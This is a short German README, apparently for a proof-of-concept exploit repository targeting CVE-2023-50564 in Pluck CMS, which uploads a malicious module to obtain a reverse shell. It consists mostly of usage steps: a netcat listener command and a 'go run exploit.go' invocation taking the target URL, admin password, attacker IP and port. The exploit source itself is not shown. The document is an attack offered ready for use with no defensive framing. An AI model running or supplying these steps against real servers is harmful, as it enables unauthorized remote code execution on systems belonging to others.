ipuig/cve-2023-50564Proof-of-Concept-Exploit für CVE-2023-50564, der Pluck CMS angreift und eine Reverse-Shell über eine bösartige Modulinstallation bereitstellt.
Richten Sie zuerst einen Listener für die Reverse Shell ein.
Terminal 1
nc -nlvp <lport>
Führen Sie das Skript aus, das versucht, ein pluck-Modul zu installieren, das die Reverse Shell zurück an uns sendet.
Terminal 2
go run exploit.go -url <url> -password <passwd> -i <your-ip> -p <lport>